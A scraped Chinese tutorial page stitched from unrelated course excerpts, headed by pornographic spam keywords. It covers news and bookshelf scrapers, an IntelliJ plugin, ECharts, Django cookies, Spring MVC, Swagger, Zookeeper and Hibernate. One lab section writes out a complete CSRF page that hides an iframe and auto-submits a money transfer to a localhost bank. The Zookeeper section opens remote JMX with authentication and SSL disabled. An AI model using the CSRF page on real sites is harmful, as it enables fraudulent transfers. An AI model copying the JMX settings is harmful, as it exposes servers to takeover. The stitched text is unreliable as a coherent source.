亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
1. 今日頭條熱點新聞數據抓取分析

今天的爬取對象是今日頭條的熱點新聞,下面的視頻演示了如何找到頭條新聞網站在獲取熱點新聞的 HTTP 請求:81從視頻中我們可以看到頭條新聞獲取網站的接口示例如下:https://www.toutiao.com/api/pc/feed/?category=news_hot&utm_source=toutiao&widen=1&max_behot_time=1597152177&max_behot_time_tmp=1597152177&tadrequire=true&as=A1955F33D209BD8&cp=5F32293B3DE80E1&_signature=_02B4Z6wo0090109cl1gAAIBCcqbHy0H-dDdPWZPAAIzuFTZSh6NBsUuEpf13PktqrmxS-ZD4dEDZ6Ezcpyjo31hg62slsekkigwdRlS0FHfPsOvx.KRyeJBdEf5QI8nLcwEMyziL1YdPK6VD8f像這樣的 http 請求時比較難模擬的,我們需要知道請求中所有參數的獲取規則,特別是一些進行加密的方式,需要從前端中找出來并手工實現。比如這里的 URL,前幾個參數都是固定值,其中 as、cp 和 _signature 則非常難獲取,需要有極強的前端功底,網上也有大神對這些值的生成進行了分析和解密,當然這些不是我們學習的重點。最后一個問題:一次請求得到10條左右的新聞數據,那么像實現視頻中那樣更新更多新聞的請求,該如何完成呢?仔細分析下連續的刷新請求,我們會發現上述的 URL 請求結果中有這樣一個參數:max_behot_time。第一次請求max_behot_time值為0next中的max_behot_time等于最后一條數據的behot_time值關于這個參數,我們得到兩條信息:第一次請求熱點新聞數據時,該參數為0;接下來的每次請求,帶上的 max_behot_time 值為上一次請求熱點新聞數據結果中的 next 字段中的 max_behot_time 鍵對應的值。它表示的是一個時間戳,其實就是意味著請求的熱點新聞數據需要在這個時間之后;有了這樣的信息,我們來基于 requests 庫,純手工實現一把頭條熱點新聞數據的抓取。我們按照如下的步驟來完成爬蟲代碼:準備基本變量,包括請求的基本 URL、請求參數、請求頭等;hotnews_url = "https://www.toutiao.com/api/pc/feed/?"params = { 'category': 'news_hot', 'utm_source': 'toutiao', 'widen': 1, 'max_behot_time': '', 'max_behot_time_tmp': '',}headers = { 'referer': 'https://www.toutiao.com/ch/news_hot/', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36'}cookies = {'tt_webid':'6856365980324382215'} max_behot_time = '0'注意:上面的 cookies 中的 tt_webid 字段值可以通過右鍵看到,不過用處不大。tt_webid值的獲取準備三個個方法:get_request_data() 、get_as_cp() 和 save_to_json()。其中第二個函數是網上有人對頭條的 js 生成 as 和 cp 參數的代碼進行了翻譯,目前看來似乎還能使用;def get_request_data(url, headers): response = requests.get(url=url, headers=headers) return json.loads(response.text)def get_as_cp(): # 該函數主要是為了獲取as和cp參數,程序參考今日頭條中的加密js文件:home_4abea46.js zz = {} now = round(time.time()) e = hex(int(now)).upper()[2:] a = hashlib.md5() a.update(str(int(now)).encode('utf-8')) i = a.hexdigest().upper() if len(e) != 8: zz = {'as':'479BB4B7254C150', 'cp':'7E0AC8874BB0985'} return zz n = i[:5] a = i[-5:] r = '' s = '' for i in range(5): s = s + n[i] + e[i] for j in range(5): r = r + e[j + 3] + a[j] zz ={ 'as': 'A1' + s + e[-3:], 'cp': e[0:3] + r + 'E1' } return zzdef save_to_json(datas, file_path, key_list): """ 保存 json 數據 """ print('寫入數據到文件{}中,共計{}條新聞數據!'.format(file_path, len(datas))) with codecs.open(file_path, 'a+', 'utf-8') as f: for d in datas: cleaned_data = {} for key in key_list: if key in d: cleaned_data[key] = d[key] print(json.dumps(cleaned_data, ensure_ascii=False)) f.write("{}\n".format(json.dumps(cleaned_data, ensure_ascii=False)))最后一步就是實現模擬刷新請求數據。下一次的請求會使用上一次請求結果中的 max_behot_time 值,這樣能連續獲取熱點新聞數據,模擬頭條頁面向下的刷新過程;# 模擬向下下刷新5次獲取新聞數據refresh_count = 5for _ in range(refresh_count): new_params = copy.deepcopy(params) zz = get_as_cp() new_params['as'] = zz['as'] new_params['cp'] = zz['cp'] new_params['max_behot_time'] = max_behot_time new_params['max_behot_time_tmp'] = max_behot_time request_url = "{}{}".format(hotnews_url, urlencode(new_params)) print(f'本次請求max_behot_time = {max_behot_time}') datas = get_request_data(request_url, headers=headers, cookies=cookies) max_behot_time = datas['next']['max_behot_time'] save_to_json(datas['data'], "result.json", key_list) time.sleep(2)最后來看看完整抓取熱點新聞數據的代碼運行過程,如下:82

2.2 開始編寫第一個插件

構建插件項目的方式主要分為兩種:一種是直接創建 IDEA 內置的插件項目。另一種則是先通過構建一個 gradle 項目,然后加入 plugin.xml 配置以及 加入 IDEA ERP 的依賴,然后來構建一個插件項目 (整個開發過程就和開發一個 Android 項目一樣),當然這個構建過程可參考官方給出的 gradle-intellij-plugin 項目來實現。(這里我們以第一種為例) 打開已經安裝好的 IntelliJ IDEA,然后 create New Project. 選擇一個 IntelliJ Platform Plugin 項目。注意需要引入 IntelliJ IDEA 的 SDK選擇好 SDK 后,然后只需要一步一步把項目創建完畢即可,創建好的項目結構如下:正如你所看到,生成了一個 plugin.xml,這個文件是插件項目的配置文件,它記錄了插件相關的版本擴展等基本信息,還記錄了插件事件與具體實現類綁定過程,下面就一一介紹每個標簽的含義。<idea-plugin> <id>com.your.company.unique.plugin.id</id> <name>Plugin display name here</name> <version>1.0</version> <vendor email="[email protected]" url="http://www.yourcompany.com">YourCompany</vendor> <description><![CDATA[ Enter short description for your plugin here.<br> <em>most HTML tags may be used</em> ]]></description> <change-notes><![CDATA[ Add change notes here.<br> <em>most HTML tags may be used</em> ]]> </change-notes> <!-- please see http://www.jetbrains.org/intellij/sdk/docs/basics/getting_started/build_number_ranges.html for description --> <idea-version since-build="173.0"/> <!-- please see http://www.jetbrains.org/intellij/sdk/docs/basics/getting_started/plugin_compatibility.html on how to target different products --> <!-- uncomment to enable plugin in all products <depends>com.intellij.modules.lang</depends> --> <extensions defaultExtensionNs="com.intellij"> <!-- Add your extensions here --> </extensions> <actions> <!-- Add your actions here --> </actions></idea-plugin>標簽含義解釋說明 plugin 插件項目的標識和 Android 項目中的 package 功能類似,唯一標識一個插件項目插件名字發布到 jetBrains plugin 倉庫中會用這個插件版本號這個用于標識插件版本,一般用于更新 jetbrains plugins 倉庫中插件版本標識開發者信息,郵箱和個人主頁,公司名字或個人開發者姓名用于插件倉庫中插件信息介紹顯示 <description> 插件的描述信息主要是描述插件有什么功能,支持標簽內部內嵌 HTML 標簽 <changNote> 插件版本變更信息一般用于插件版本變更的信息,支持標簽內部內嵌 HTML 標簽 <idea-version> 插件支持的 idea 版本這個版本標簽需要注意下,它決定了該插件能夠運行在最低版本的 IDEA 中,一旦配置不當,會導致插件安裝不成功,有點類似 Android 中 AndroidManifest.xml 中配置最低兼容 Android 版本意思 <depends> 當前的插件項目依賴哪些內置或者外部的插件庫依賴例如你需要實現類似 git 功能插件,你就可以通過 depends 標簽引入 Git4Idea 即可,Git4Idea, 如果看過 IDEA 源碼的話,實際上內置 GitHub 插件就是通過 depends 依賴內部 Git4Idea 插件實現的,還有現在的碼云 git 工具插件也是通過依賴 Git4Idea 內置插件來實現的 <extension> 插件與其他插件或與 IDE 本身交互 (默認是 IDEA) 如果您希望插件擴展其他插件或 IntelliJ Platform 的功能,則必須聲明一個或多個擴展名 <action> 決定了你的插件在 IDE 上顯示的位置和順序這個標簽非常重要,它決定了你的插件在 IDE 上顯示的位置和順序,以及這個插件的點擊事件和插件項目 Action 實現類的綁定。創建一個 Action 類,在 IDEA 插件項目中,IDEA 點擊 Item 或者按鈕或者一個圖標對應是觸發了插件中一個 Action,創建 Action 主要有兩種方式:第 1 種:通過 IDEA 提供的一個入口,直接去創建 Action,然后它自動幫你實現 plugin.xml 中的事件綁定的注冊:第 2 種: 手動創建一個 Action 類,然后繼承 AnAction 類或者 DumbAwareAction 類,然后在 plugin.xml 中的 action 標簽去注冊 action 類與事件綁定://創建Action類package com.imooc.plugins.demoimport com.intellij.openapi.actionSystem.AnActionimport com.intellij.openapi.actionSystem.AnActionEventimport com.intellij.openapi.ui.Messages//注意import,是com.intellij.openapi包下class DemoAction: AnAction() { override fun actionPerformed(p0: AnActionEvent?) { Messages.showInfoMessage("Just a Test ", "來自DemoAction提示") }}在 plugin.xml 中注冊 action 類的綁定: <actions> <!-- Add your actions here --> <action id="com.imooc.plugins.demo.DemoAction" class="com.imooc.plugins.demo.DemoAction" text="DemoAction" description="just a test demo"> <add-to-group group-id="ToolbarRunGroup" anchor="last"/><!--加入到ToolbarRunGroup內置組--> </action> </actions>在 plugin.xml 中配置插件圖標,先在插件項目中 resource 目錄下創建一個 image 目錄或者直接把圖標拷貝目錄下即可 然后 action 標簽中指定 icon 屬性: <actions> <!-- Add your actions here --> <action id="com.imooc.plugins.demo.DemoAction" class="com.imooc.plugins.demo.DemoAction" text="DemoAction" description="just a test demo" icon="/image/icon_pic_demo.png"><!--指定圖標--> <add-to-group group-id="ToolbarRunGroup" anchor="last"/><!--加入到ToolbarRunGroup內置組--> </action> </actions>在 plugin.xml 中配置自定義組,并把自定義的組加入內置的組中: <group id="com.imooc.plugins.group.demo" text="Demo" description="just a demo group"><!--group標簽實現自定義組,id:組的唯一標識,text:組顯示名稱,description:組的描述名--> <add-to-group group-id="MainMenu" anchor="last"/><!--把組加入到內置的組中--> <action id="com.imooc.plugins.demo.DemoAction" class="com.imooc.plugins.demo.DemoAction" text="DemoAction" description="just a test demo" icon="/image/icon_pic_demo.png"><!--指定圖標--> <add-to-group group-id="ToolbarRunGroup" anchor="last"/><!--加入到ToolbarRunGroup內置組--> </action> </group>配置 OK 后,現在就可以運行插件了,運行成功后會新啟動一個 Intellij IDEA,這個 IDE 就是安裝了開發的插件,然后就可以在里面去調試你的插件功能:點擊運行,進行測試,此外還支持斷點調試:最后一步,打包插件,并發布。選擇頂部工具欄 Build, 點擊 "Prepare Plugin Module ‘Demo’ For Deployment", 就會在當前工作目錄下生成一個 jar 或 zip 的包。然后發布插件,只需要在 jetBrains Plugins Repository 上傳你的包,等待 jetBrains 官方的審核通過了,就能通過 ide 中的 plugins 倉庫中搜索找到。

2. 刪除起點網用戶的所有書架

首先我們隨便添加一個書籍到書架上,然后進行清楚,請看下圖,通過 Chrome 開發者工具我們可以找到刪除書架上書籍的 URL 請求以及相應攜帶參數:刪除書架上的書籍該請求一共有三個參數:_csrfToken:可以從 cookie 中獲?。籦ids:書籍編號,可以從這一行的 html 元素中提??;gid:發現是固定的100;于是我們在請求到書架上的書籍信息時,解析得到書籍編號,然后對應發送刪除該書籍的請求,對應的代碼如下:from .get_cookie import get_cookies_from_chromefrom ..items import QidianSpiderItem# 刪除書籍信息 https://my.qidian.com/ajax/BookShelf/DelBook?_csrfToken=YJklLmhEFpEfuSmqZZGaK72D4sUVJty52gyKw0TJ&bids=1022282526&gid=-100class BookCaseSpider(Spider): name = "bookcase" # 構造函數 def __init__(self): self.cookie_dict = get_cookies_from_chrome( "qidian.com", ["_csrfToken", "e1", "e2", "newstatisticUUID", "ywguid", "ywkey"] ) def start_requests(self): url = "https://my.qidian.com/bookcase" # http請求時附加上cookie信息 yield Request(url=url, cookies=self.cookie_dict) def parse(self, response): item = QidianSpiderItem() books = response.xpath('//table[@id="shelfTable"]/tbody/tr') for book in books: # ... # 刪除該書籍信息 query_data = { 'bids': book.xpath('td[6]/div[@class="ui-datalist"]/div[@class="ui-datalist-datalist"]/a[1]/@data-id').extract_first(), 'gid': '-100', '_csrfToken': self.cookie_dict['_csrfToken'] } url = "https://my.qidian.com/ajax/BookShelf/DelBook?{}".format(parse.urlencode(query_data)) print('對應刪除url請求={}'.format(url)) yield Request(url=url, method='get', cookies=self.cookie_dict, callback=self.parse_delete_book) def parse_delete_book(self, response): """ 刪除結果:{"code":0,"data":{"1022354901":{"code":0,"message":"操作成功"}},"msg":"成功"} """ data = response.text print('刪除響應:{}'.format(data)) if isinstance(data, str): data = json.loads(data) print('msg = {}'.format(data['msg']))是不是非常簡單?來看看最后運行的效果:啟動清除書架信息爬蟲最后用戶書架數據是不是很有意思?基于這樣的操作,我們想想淘寶一鍵清除購物車功能,是不是也能這樣實現?還有每次明星的戀情有變,連夜刪除上千條微博,導致手指酸痛,我們是否能提供一鍵清除微博的功能,解決他們的痛點?這些事情是不是想想就很激動?還等什么,心動不如行動,這個就作為課后作業吧,希望你能獨立完成淘寶的一鍵清除購物車代碼。

3. 各種語言的 Web 框架介紹

目前,主流的 Web 框架可以按照語言類型進行分類,比如基于 Java 開發的 Web 框架、基于 Python 開發的 Web 框架和基于 Go 開發的 Web 框架等等。每種語言領域內的 Web 框架也是各有特色,有大而全,有小而精,還有專注異步高性能等等。熱門的 Python Web 框架有:Django:基于 MTV 的框架模式,有強大的數據庫功能、強大的后臺管理功能、模板系統、緩存系統等;Flask:小而精的 Web 框架典范,可擴展性強;Tornado: 輕量級的 Web 框架,其特點是非阻塞和高性能,是實時 Web 服務的一個 理想框架。主流的 Java Web 框架有:Spring/Spring Boot/Spring MVC 等:幾乎是大部分 Java web 開發者的首選和必選,占據了大部分市場?;?Spring 及其衍生框架,我們能迅速開發一個 Java Web 服務,幾乎不需要任何 Web 開發基礎;Dubbo:阿里巴巴的開源的高性能 RPC 框架、特點是分布式、高性能以及高度可擴展;Struts2:老一代的 Java Web 框架,特點是高度成熟。不過目前趨勢來看,已經很少人使用 Struts2 來開發新的 Web 服務。Go 作為近幾年快速崛起的后端開發語言,也受到了廣大后端開發者的追捧,Go Web 框架也隨之而來,其中的典型代表有:Beego 框架:它類似于 Python Web 框架 Django,走大而全的風格,具備各種 Web 應用程序的通用功能;Gin 框架:Gin 是 Go 的一個微框架,封裝優雅,接口友好。具有快速靈活,容錯方便、性能優異等特點;Echo 框架:Go 的微型 Web 框架。其具備快速 HTTP 路由器、支持擴展中間件,同時還支持靜態文件服務。

3.2 首頁模板 templates/index.html

惡意網站的頁面包括兩部分:正常顯示的部分實施 CSRF 攻擊的代碼3.2.1 正常顯示的部分<html><head><meta charset='utf-8'><title>惡意網站</title></head><body><h1>惡意網站</h1><ul> <li>在網站中放置吸引人的內容,例如賭博、色情、盜版小說等,吸引人來訪問 <li>如果用戶已經登錄了某銀行網站,訪問惡意網站首頁時,自動向銀行網站發起轉賬請求</ul>通常惡意網站會放置吸引人的內容,例如賭博、色情、盜版小說等,誘導受害者來訪問。3.2.2 隱藏 iframe 和 表單<style>iframe { display: none;}form { display: none; }</style>CSRF 攻擊需要使用 HTML 中的 iframe 和 表單元素,因此在惡意網站中設置 CSS 屬性,讓 iframe 和表單隱藏不可見。3.2.3 實施 CSRF 攻擊的代碼<iframe name="iframe"></iframe><form action="http://localhost:8888/transfer" method="POST" target='iframe'> <input type="text" name="name" value="hacker" placeholder="接收用戶"/> <input type="text" name="amount" value="50" placeholder="轉賬數量"/> <input type="submit" id="submit" value="轉賬"></form><script>var submit = document.getElementById('submit');submit.click();</script></body></html>在第 3 行,定義了一個提交轉賬請求的表單,相關屬性如下:action 是銀行轉賬的頁面;target 指向一個 iframe,向銀行網站提交表單請求后,在指定的 iframe 中顯示銀行網站的返回的內容,因為 iframe 被設置為不可見,因此訪問者察覺不到訪問銀行轉賬的操作;名稱為 ‘name’ 的文本字段是轉賬的接收賬戶,值為 hacker,表示向 hacker 轉賬;名稱為 ‘amount’ 的文本字段是轉賬的數量,值為 50,表示轉賬 50 元。在第 10 行,獲取表單中的提交按鈕,在第 11 行,模擬點擊提交按鈕,向銀行發起轉賬請求。

3.2 symbol 配置詳解

symbol 用于描述圖表上點的繪制方法,對應下圖紅色圓點部分:在 ECharts 上,symbol 可通過如下配置項描述:配置名類型默認值說明showSymbolbooleantrue控制是否顯示 symbol, 如果 false 則只有在 tooltip hover 的時候顯示。showAllSymbolboolean|stringauto控制標記的顯示策略,只在主軸為類目軸(axis.type 為 ‘category’)時有效。symbolstring|functionemptyCircle標記的圖形symbolSizenumber|array|function4控制標記符號的大小symbolRotatenumber0標記的旋轉角度symbolKeepAspectbooleantrue如果 symbol 是 path:// 形式,是否在縮放時保持該圖形的長寬比。symbolOffsetarray[0, 0]標記相對于原本位置的偏移通過上述配置,可以改變圖表上點的表現形式,接下來就表中關鍵事項展開示例。3.2.1 使用預設標記圖形默認的,ECharts 會使用空心圓繪制標記點,如上一節示例圖所示。除空心圓外,ECharts 還準備了幾個開箱即用的標記圖形選項,完整列表包括:emptyCircle:空心圓circle:實心圓rect:正方形roundRect:圓角正方形triangle:三角形diamond:棱形pin:水滴arrow:箭頭none:無圖形,形如設置 showSymbol:false各選項對應的展示效果如下:3.2.2 使用自定義標記除預設的圖形集合外,echarts 支持自定義標記圖形,同樣通過 symbol 屬性定義,支持傳入 3 種值:支持 image://http://xxx/xxx.png 格式,傳入標記圖形的 URL;支持 image://data:image/png;base64,ixxx 格式,傳入標記圖形的 Base64 值;支持 path://M30.9,53.2C16.8... 格式,傳入標記圖形的 svg 路徑值。示例:1347示例效果:3.2.3 控制顯示當類目軸上數據太多時,可能導致標記的展示特別擁擠,ECharts 就此提供了 showAllSymbol 配置項,該項接受如下值:auto:默認值,如果有足夠空間則顯示標志圖形,否則隨主軸標簽間隔隱藏策略;true:顯示所有圖形;false:隨主軸標簽間隔隱藏策略。示例:1348示例效果:對比可知,左圖 showAllSymbol = true 時,顯示所有標記圖形,略顯擁擠;右圖 showAllSymbol = false,則隨主軸標記隱藏而隱藏。

1. Django 中操作 Cookie

操作 Cookie 同樣是考察4個基本動作:增刪改查。現在分別從這4個角度看 Django 如何操作 Cookie :增:對于視圖函數或者視圖類的三種返回 Response 響應 (HttpResponse、render、redircet),之前的做法是直接 return,現在可以在 return 之前,使用 set_cookie() 或者 set_signed_cookied() 方法給客戶端頒發一個 cookie,然后再帶著頒發的 cookie 響應用戶請求。操作代碼結構如下。def xxxx(request, *args, **kwargs): # ... rep = HttpResponse(...) # 或者 rep = render(request, ...) # 或者 rep = redirect( ...) # 兩種設置cookie的方法,一種不加salt,另一個加salt rep.set_cookie(key, value,...) rep.set_signed_cookie(key, value, salt='加密鹽', max_age=None, ...) return rep查:查詢 cookie 是在發送過來的 HTTP 請求中的,因此對應的查詢 Cookie 方法封裝在 HttpRequest 類中,對應的操作語句如下:request.COOKIES['key']request.COOKIES.get['key']# 對應前面使用前面加密的cookierequest.get_signed_cookie(key, default=RAISE_ERROR, salt='', max_age=None)改:調用前面的 set_cookie() 或者 set_signed_cookie() 方法修改 Cookie 即可;刪:直接使用 HttpReponse 類的 delete_cookie() 刪除 cookie 中對應 key 值。案例1:Django 中 Cookie 實操。我們在前面的登錄表單功能上改造視圖函數,保證一次登錄后,后續再次 GET 請求時能自動識別登錄用戶。此外還設置一個 Cookie 過期時間,過期之后再次 GET 請求時又回到登錄頁面。調整登錄表單的視圖類:class TestFormView2(TemplateView): template_name = 'test_form2.html' def get(self, request, *args, **kwargs): success = False form = LoginForm() print("[{}] cookies:{}".format(datetime.now().strftime('%Y-%m-%d %H:%M:%S'), request.COOKIES)) if request.get_signed_cookie('user', default='anonymous', salt=default_salt) == 'spyinx': success = True return self.render_to_response(context={'success': success, 'form': form}) def post(self, request, *args, **kwargs): form = LoginForm(request.POST) success = True err_msg = "" rep = self.render_to_response(context={'success': success, 'err_msg': err_msg, 'form': form}) if form.is_valid(): login_data = form.clean() name = login_data['name'] password = login_data['password'] if name != 'spyinx' or password != 'SPYinx123456': success = False err_msg = "用戶名密碼不正確" else: print('設置cookie') rep.set_signed_cookie('user', 'spyinx', salt=default_salt, max_age=10) else: success = False err_msg = form.errors['password'][0] return rep可以看到,在 get()方法中我們通過 get_signed_cookie() 方法獲取 cookie 中的 user 信息,判斷是否為 spyinx。若正確則返回成功登錄的頁面,否則返回登錄頁面。在 post() 方法中,對于登錄成功的情況我們通過 set_signed_cookie() 方法頒發了一個 cookie 給客戶端,并設置過期時間為10s,后續客戶端的請求中都會自動帶上這個 cookie。20

4. Spring MVC 的特性

要了解 Spring MVC 的功能特性,就需要從 WEB 應用開發的源頭說起。WEB 應用程序的主流開發技術有 3 種:servlet;php;.net。Servlet 是基于 Java 語言的動態 web開發技術,Servlet 指的是 J2EE 中所提出來的企業級服務器開發規范。原生 Servlet 構建的 MVC 開發模式有幾個缺點:Servlet 本身采用單例設計模式,生命周期由服務器維護,存在線程安全隱患的問題;理論上講,每一次不同的 http 請求需要一個 Servlet 組件來響應,當請求類型比較多時,Servlet 就會相應增加,也意味著每一個 Servlet 都可以成為進入服務器的入口。想想你家里對外開了好多扇門,小偷終能找到破綻;隨著 Servlet 數量的增加,對服務器的存儲空間也會產生壓力;使用 Servlet 響應用戶請求時,每一個響應邏輯都需要開發者不厭其煩地做些重復的事情,如,解析請求包中的數據、構建響應包、設置頁面跳轉等等。這些問題,在 Spring MVC 中都得到了很好的解決。使用 Spring MVC 時,就只有一個門可以進入應用程序,這個門叫前端(中央)控制器,所有請求統一經過這個前端控制器分流到具體的內部響應組件;Spring MVC 是 Spring 家族中的一員,有句話叫做“近水樓臺先得月”。使用 Spring MVC 時所需要的 WEB 組件也好、其它的邏輯組件也好,都經由 Spring IOC 創建,Spring IOC 容器對組件的生命周期可進行伸縮性設置管理,可根據組件特性保證其線程安全性;Spring MVC 和 Spring 有直屬血緣的關系,兩者完美結合,使得程序的安全性和穩定性有一定的保證;Spring MVC 利用 Spring 的自動注入功能,能輕松地裝配好各組件之間的依賴,開發者只需要關注編寫自己的業務邏輯便可,和所有框架理念一樣,解放雙手,釋放大腦。Spring MVC 設計的初衷,就是要做成一款輕量級框架,其內在的原力讓我們一起在后續課程中慢慢釋放。

3.1 Swagger Codegen 快速入門

服務端我們針對以上服務端配置的規則來介紹一下在 Swagger Codegen 服務端中經常使用的一些屬性,同學在了解了這些屬性之后就可以使用 Swagger Codegen 進行一些服務端代碼的生成工作了。swagger: '2.0' info: title: IMooc Swagger-Wiki API description: Swagger-Wiki API version: 1.0.0 paths: /imooct/wiki/swagger: get: tags: - wiki operationId: getImoocLesson parameters: - name: range in: query type: string required: true responses: '200': description: OK schema: $ref: '#/definitions/GetImoocLessonResponse'代碼解釋:swagger : 指名生成的服務端代碼所使用的 Swagger 管理版本,這里只能寫 2.0 。info : 表示 Swagger Codegen 所生成的服務端代碼的一些基本描述信息,上述包括 title (頭信息) 、 description (文檔描述) 、 version (文檔版本)。paths : 表示具體一個接口的路徑信息。get : 表示該接口的 http 請求類型,get 即為 Get 請求,同理 post 即為 Post 請求,以此類推。tags : 表示該接口所屬的分組。operationId : 表示該接口的名稱。parameters : 表示該接口中的參數信息,上述包括 name (參數名稱) 、 in (參數用途) 、type (參數類型) 、 required (參數是否必傳,true 表示參數必傳,默認為 false )。responses : 表示該接口的返回信息,這里的 200 表示接口返回狀態碼,description 代表當接口返回狀態碼為 200 時的狀態碼描述信息,schema 中的 ref 屬性統一表示當該接口返回 200 時重定向的地址或接下來要發生的動作。客戶端針對 Swagger Codegen 中客戶端代碼的配置,在前面已經做了一些較為詳細的介紹了,這里我就常用的客戶端配置代碼給上述內容做一個補充,同學們需要結合著來了解。{ "apiPackage": "com.imooc.wiki.swagger.api", "artifactId": "cmp-imooc-steafan-service", "groupId": "com.steafan.imooc", "hideGenerationTimestamp": true,}代碼解釋:apiPackage : 表示需要生成的客戶端代碼的包位置。artifactId 、 groupId : 類似于 Maven 中的依賴坐標,這里表示所生成的客戶端代碼的坐標信息。hideGenerationTimestamp : 表示在生成客戶端代碼之后會隱藏生成代碼的時間,這個配置可有可無。

2. 使用 JConsole 監控 Zookeeper

JConsole 是 JDK 自帶的 Java 進程監控工具,Zookeeper 是基于 Java 的應用程序,也支持 JMX( Java Management Extensions ),所以我們可以通過 JConsole 來對 Zookeeper 的運行狀態進行監控。在使用 JConsole 開啟監控之前,我們需要修改 Zookeeper 關于 JMX 的配置。如果是 Windows 平臺的需要修改啟動文件 zkServer.cmd,如果是 Linux 平臺則需要修改啟動文件 zkServer.sh。Windows 平臺修改 zkServer.cmd在 call %JAVA% 這一行中加入以下配置:# 對 jmx 開放的端口,要注意避免和其它端口沖突"-Dcom.sun.management.jmxremote.port=21810"# 關閉 ssl"-Dcom.sun.management.jmxremote.ssl=false"# 關閉身份驗證"-Dcom.sun.management.jmxremote.authenticate=false"zkServer.cmd 完整的配置如下:@echo offREM Licensed to the Apache Software Foundation (ASF) under one or moreREM contributor license agreements. See the NOTICE file distributed withREM this work for additional information regarding copyright ownership.REM The ASF licenses this file to You under the Apache License, Version 2.0REM (the "License"); you may not use this file except in compliance withREM the License. You may obtain a copy of the License atREMREM http://www.apache.org/licenses/LICENSE-2.0REMREM Unless required by applicable law or agreed to in writing, softwareREM distributed under the License is distributed on an "AS IS" BASIS,REM WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.REM See the License for the specific language governing permissions andREM limitations under the License.setlocalcall "%~dp0zkEnv.cmd"set ZOOMAIN=org.apache.zookeeper.server.quorum.QuorumPeerMainset ZOO_LOG_FILE=zookeeper-%USERNAME%-server-%COMPUTERNAME%.logecho oncall %JAVA% "-Dcom.sun.management.jmxremote.port=21810" "-Dcom.sun.management.jmxremote.ssl=false" "-Dcom.sun.management.jmxremote.authenticate=false" "-Dzookeeper.log.dir=%ZOO_LOG_DIR%" "-Dzookeeper.root.logger=%ZOO_LOG4J_PROP%" "-Dzookeeper.log.file=%ZOO_LOG_FILE%" "-XX:+HeapDumpOnOutOfMemoryError" "-XX:OnOutOfMemoryError=cmd /c taskkill /pid %%%%p /t /f" -cp "%CLASSPATH%" %ZOOMAIN% "%ZOOCFG%" %*endlocal Linux 平臺修改 zkServer.sh在第一個 ZOOMAIN 中添加以下配置:# 關閉僅本地連接-Dcom.sun.management.jmxremote.local.only=false# zookeeper地址-Djava.rmi.server.hostname=127.0.0.1 # 對 jmx 開放的端口,要注意避免和其它端口沖突-Dcom.sun.management.jmxremote.port=21810 # 關閉 ssl-Dcom.sun.management.jmxremote.ssl=false # 關閉身份驗證-Dcom.sun.management.jmxremote.authenticate=false # 開啟日志-Dzookeeper.jmx.log4j.disable=true添加完畢后第一個 ZOOMAIN 配置如下:ZOOMAIN="-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.local.only=false -Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote.port=21810 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Dzookeeper.jmx.log4j.disable=true org.apache.zookeeper.server.quorum.QuorumPeerMain"配置完啟動文件,我們就可以重啟 Zookeeper 服務端,打開 JConsole 界面,輸入 Zookeeper 地址和開放的 JMX 端口,然后就能監控 Zookeeper 的 Java 進程了。除了使用 JConsole 來監控 Zookeeper 進程的運行狀態之外,我們還可以使用 Zookeeper 提供的四字監控命令來查看Zookeeper 進程的運行狀態,那么接下來我們就來學習 Zookeeper 的四字監控命令。

3.1 程序開發流程

新建一個 Java Project 項目,想必此處不需要更多累贅說明。程序中需要使用 Hibernate 組件所提供的功能,因此程序中需要加入 Hibernate 的各組件所在的 Jar 包。依賴包的加入方式有 2 種:使用 Maven 的依賴管理功能自動加入,需要 Maven 相關知識,此文不介紹,需要了解可自行查閱相關資料;手工方式加入,辛苦著并快樂著。本課程采用第 2 方式,手工加入:下載: Hibernate-release-4.2.0.Final.zip;小插曲:為什么選擇 4.x 版本?企業只會選擇市場上運行時間較久、穩定性經過時間檢驗的版本,4.x 版本已經出現一些時間,稱得上較穩定版本,將來進入企業可直接上手。高版本封裝度高,從應用角度講,只會更簡單,從學習角度講,不便于了解更多過往操作細節。官網:http://hibernate.org/解壓: 找到解壓后 Hibernate 目錄下的 lib 子目錄,從其中選擇程序需要的基礎包。切記別忘記加入 MySql Jdbc 驅動包(本文使用 MySql 相關的 Jdbc 驅動包)友情提示時間:把 Student.java 文件和 Student.hbm.xml 最好放在一起,不放在一起問題也不大。但兩個文件構成了邏輯上持久化對象描述,既然是手足兄弟放在一起可加深情感上的聯系。把 Hibernate.cfg.xml 放在src下,運行時會編譯到 classes 或 bin 目錄下,此處為加載主配置文件的默認位置。思考時間:Hibernate.cfg.xml 不放在 src 下可不可以?用 Java 語言復述一下上面的中文描述流程:// 配置對象Configuration configuration = new Configuration().configure();// 服務注冊ServiceRegistry serviceRegistry = new ServiceRegistryBuilder().applySettings(configuration.getProperties()).buildServiceRegistry();// 會話工廠SessionFactory sessionFactory = configuration.buildSessionFactory(serviceRegistry); // 會話對象Session session = sessionFactory.openSession();// 事務對象Transaction transaction = null;try { // 啟用事務 transaction = session.beginTransaction(); //各種增、刪、改、查…… 操作 transaction.commit();} catch (Exception e) { transaction.rollback();} finally { session.close();}一定要細心觀察啦!發現沒有!使用Hibernate對數據庫進行一系列操作也是一個模板化流程。友情提示時間:不使用 ServiceRegistry 對象,configuration.buildSessionFactory() 形式也可以創建會話工廠?。ü俜轿臋n就這么創建的);如果使用 ServiceRegistry,則需要注意上面的語法使用要點!否則有可能會出現配置信息讀不到,會話工廠創建不成功的情況;最后不要忘記關閉會話對象(Session)。

2. 依賴庫提前安裝

